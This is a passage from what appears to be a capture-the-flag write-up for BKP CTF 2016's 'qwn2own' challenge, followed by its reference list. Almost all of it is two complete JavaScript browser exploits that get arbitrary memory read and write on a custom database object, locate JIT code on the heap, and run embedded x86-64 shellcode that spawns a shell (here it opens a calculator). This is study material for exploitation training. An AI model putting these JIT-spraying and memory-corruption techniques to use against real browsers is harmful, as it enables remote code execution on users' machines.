        A2B_off_idx = i - 1;
        break;
      }
    }
    if (A2B_off_idx == -1) continue;

    var C_vec = -1; // C intvect
    for (var i = 0; i < 1000; i++) {
      if (B.get(i) == key1 && B.get(i - 1) == B.get(i - 3)) {
        C_vec = B.get(i - 2);
        break;
      }
    }
    if (C_vec == -1) continue;

    var B2C_index = -1; // B to C index
    for (var i = 0; i < 1000; i++) {
      if (B.get(i) == 0xaaaa && B.get(i + 1) == key2 && B.get(i + 2) == 0xbbbb) {
        B2C_index = i;
        break;
      }
    }
    if (B2C_index == -1) continue;

    break;
  }

  print("A2B_off_idx = " + A2B_off_idx);
  print("C_vec = " + C_vec.toString(16));
  print("B2C_index = " + B2C_index);

  var B_vec = C_vec + 24 - B2C_index * 8;
  print("B_vec = " + B_vec.toString(16));

  function read(addr) {
    var offset = addr - B_vec;
    A.insert(A2B_off_idx, offset);
    var x = B.get(0);
    A.insert(A2B_off_idx, 0);
    return x;
  }

  //print(read(0x5561e13da000).toString(16)); // read binary

  function write(addr, v) {
    var offset = addr - B_vec;
    A.insert(A2B_off_idx, offset);
    B.insert(0, v);
    A.insert(A2B_off_idx, 0);
  }

  var strptr = null;
  var funcptr = null;
  for (var jimbo = B_vec; funcptr == null; jimbo -= 8) {
    // check chunk is valid
    chunksz = read(jimbo);
    if (chunksz < 0x20 || (chunksz & 0xf1) != chunksz) continue;
    chunksz -= chunksz & 1;
    nextsz = read(jimbo + chunksz);
    if (nextsz < 0x20 || (nextsz & 0xfff1) != nextsz || (nextsz & 1) != 1) continue;

    // page aligned addresses?
    heapaddr = read(jimbo + 10 * 8);
    if (heapaddr <= B_vec || (heapaddr & 0xfff) != 0) continue;
    if (heapaddr != read(jimbo + 11 * 8)) continue;

    /* matches JS heap caracs? */
    nbregions = read(jimbo + 2 * 8);
    regsz = read(jimbo + 4 * 8);
    heapsz = read(jimbo + 12 * 8);
    if (nbregions != 2 || (heapsz & 0xfff) != 0 || (regsz & 0xfff) != 0 || heapsz == 0 || nbregions * regsz != heapsz) continue;

    /* start scanning from heapaddr .. */
    for (var i = 0; i < 100; i++) {
      var b = heapaddr + i * 8;
      var check = 1;
      for (var j = 0; j < 20; j++) {
        if (read(b + j * 8) != read(b + j * 8 + 24)) {
          check = 0;
          break;
        }
      }
      if (check && read(b) == read(b + 8) && read(b) != read(b + 16)) {
        strptr = read(b); // str
        funcptr = read(b + 16); // func_jit
        break;
      }
    }
    break;
  }

  print("funcptr = " + funcptr.toString(16));
  var jitptr = read(read(funcptr + 24) + 32);
  print("jitptr = " + jitptr.toString(16));

  for (var i = 0; i < shellcode.length; i++) {
    write(jitptr + i, shellcode.charCodeAt(i));
  }
  alert(1);
  func_jit(100, 200, 300);
}

exploit();

JIT ROP:

var shellcode = "\x6a\x00\x48\x8d\x14\x24\x48\x8d\x05\x2d\x00\x00\x00\x50\x48\x8d\x05\x22\x00\x00\x00\x50\x48\x8d\x05\x12\x00\x00\x00\x50\x48\x8d\x34\x24\x48\x8b\x3c\x24\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x62\x61\x73\x68\x20\x2d\x63\x20\x27\x44\x49\x53\x50\x4c\x41\x59\x3d\x3a\x30\x20\x67\x6e\x6f\x6d\x65\x2d\x63\x61\x6c\x63\x75\x6c\x61\x74\x6f\x72\x27\x00";

function exploit() {
  function print(msg) {
    document.write(msg + "<br>");
  }

  function func_jit(x, y, z) {
    for (var i = 0; i < 1000000; i++) {
      // enough time to jit
      z = z ^ 0xbbe8894c ^ 0x00bb0000 ^ 0x402d4800 ^ 0x00054800 ^ 0x0000bb00 ^ 0xbb66388b ^ 0xbbe8894c ^ 0x00bb0000 ^ 0x482d4800 ^ 0x00054800 ^ 0x0000bb00 ^ 0xbb66308b ^ 0xbb6620b1 ^ 0xbbe7d348 ^ 0xbb660000 ^ 0xbbf70148 ^ 0xbb660000 ^ 0xbbff8949 ^ 0xbb660000 ^ 0x00bb14b1 ^ 0xbbe6d300 ^ 0x00bb0000 ^ 0xbbeed300 ^ 0xbb660000 ^ 0xbbf72948 ^ 0xbb660000 ^ 0x1000be90 ^ 0x0000f681 ^ 0xbbd23148 ^ 0xbb660000 ^ 0xbb6607b2 ^ 0x00bbc031 ^ 0xbb0ab000 ^ 0xbb660000 ^ 0x00bb050f ^ 0xe7ff4100;
      x = x ^ 0x11111111 ^ 0x22222222;
      x = x ^ 0x33333333 ^ 0x44444444;
      y = y ^ 0xaaaaaaaa ^ 0xbbbbbbbb;
    }
    return z;
  }
  func_jit(0, 1, 2); // call for jit

  var T = new Array(10000);
  for (var i = 0; i < 10000; i++) {
    var Td = new Array(50);
    for (var j = 0; j < 47; j += 3) {
      Td[j] = shellcode;
      Td[j + 1] = shellcode;
      Td[j + 2] = func_jit;
    }
    T[i] = Td;
  }

  var db = BKPDataBase.create("name", "password");

  for (var tt = 1000; tt > 0; tt--) {
    var key1 = Math.floor(Math.random() * 1e12);
    var key2 = Math.floor(Math.random() * 1e12);
    var key3 = Math.floor(Math.random() * 1e12);

    var A = db.createStore("A", 1, [0, 1, 2], 0xabcd1);
    var B = db.createStore("B", 1, [0, 0xcccc, key3, 0xdddd], 0xabcd1);
    var C = db.createStore("C", 1, [0xaaaa, key2, 0xbbbb], key1);

    A.remove(-1);
    A.insert(0, 0xfffff00000001); // increase size
    B.remove(-1);
    B.insert(0, 0xfffff00000001);

    var A2B_off_idx = -1; // A to B offset index
    for (var i = 0; i < 1000; i++) {
      if (A.get(i) == 0xcccc && A.get(i + 1) == key3 && A.get(i + 2) == 0xdddd) {
        A2B_off_idx = i - 1;
        break;
      }
    }
    if (A2B_off_idx == -1) continue;

    var C_vec = -1; // C intvect
    for (var i = 0; i < 1000; i++) {
      if (B.get(i) == key1 && B.get(i - 1) == B.get(i - 3)) {
        C_vec = B.get(i - 2);
        break;
      }
    }
    if (C_vec == -1) continue;

    var B2C_index = -1; // B to C index
    for (var i = 0; i < 1000; i++) {
      if (B.get(i) == 0xaaaa && B.get(i + 1) == key2 && B.get(i + 2) == 0xbbbb) {
        B2C_index = i;
        break;
      }
    }
    if (B2C_index == -1) continue;

    break;
  }

  print("A2B_off_idx = " + A2B_off_idx);
  print("C_vec = " + C_vec.toString(16));
  print("B2C_index = " + B2C_index);

  var B_vec = C_vec + 24 - B2C_index * 8;
  print("B_vec = " + B_vec.toString(16));

  function read(addr) {
    var offset = addr - B_vec;
    A.insert(A2B_off_idx, offset);
    var x = B.get(0);
    A.insert(A2B_off_idx, 0);
    return x;
  }

  function write(addr, v) {
    var offset = addr - B_vec;
    A.insert(A2B_off_idx, offset);
    B.insert(0, v);
    A.insert(A2B_off_idx, 0);
  }

  var strptr = null;
  var funcptr = null;
  for (var jimbo = B_vec; funcptr == null; jimbo -= 8) {
    // check chunk is valid
    chunksz = read(jimbo);
    if (chunksz < 0x20 || (chunksz & 0xf1) != chunksz) continue;
    chunksz -= chunksz & 1;
    nextsz = read(jimbo + chunksz);
    if (nextsz < 0x20 || (nextsz & 0xfff1) != nextsz || (nextsz & 1) != 1) continue;

    // page aligned addresses?
    heapaddr = read(jimbo + 10 * 8);
    if (heapaddr <= B_vec || (heapaddr & 0xfff) != 0) continue;
    if (heapaddr != read(jimbo + 11 * 8)) continue;

    /* matches JS heap caracs? */
    nbregions = read(jimbo + 2 * 8);
    regsz = read(jimbo + 4 * 8);
    heapsz = read(jimbo + 12 * 8);
    if (nbregions != 2 || (heapsz & 0xfff) != 0 || (regsz & 0xfff) != 0 || heapsz == 0 || nbregions * regsz != heapsz) continue;

    /* start scanning from heapaddr .. */
    for (var i = 0; i < 100; i++) {
      var b = heapaddr + i * 8;
      var check = 1;
      for (var j = 0; j < 20; j++) {
        if (read(b + j * 8) != read(b + j * 8 + 24)) {
          check = 0;
          break;
        }
      }
      if (check && read(b) == read(b + 8) && read(b) != read(b + 16)) {
        strptr = read(b); // shellcode
        funcptr = read(b + 16); // func_jit
        break;
      }
    }
    break;
  }

  print("funcptr = " + funcptr.toString(16));
  var jitptr = read(read(funcptr + 24) + 32);
  print("jitptr = " + jitptr.toString(16));

  var scptr = read(strptr + 16) + 32;
  print("scptr = " + scptr.toString(16));

  write(read(funcptr + 24) + 32, jitptr + 84);
  alert(1);
  func_jit(Math.floor(scptr / 0x100000000), scptr & 0xffffffff, 3);
}

exploit();

References

JavaScript - Wikipedia
STCS 2016 - YouTube
读 QT5.7 源码(一)QArrayData QTypedArrayData_春暖花开-CSDN 博客_qarraydata
JIT spraying - Wikipedia
qwn2own 記錄 - HackMD
FrizN - BKP CTF 2016 - qwn2own - generic browser exploits
Attacking the Webkit heap [Or how to write Safari exploits]
ptmalloc, tcmalloc and jemalloc - actorsfit
How tcmalloc Works | James Golick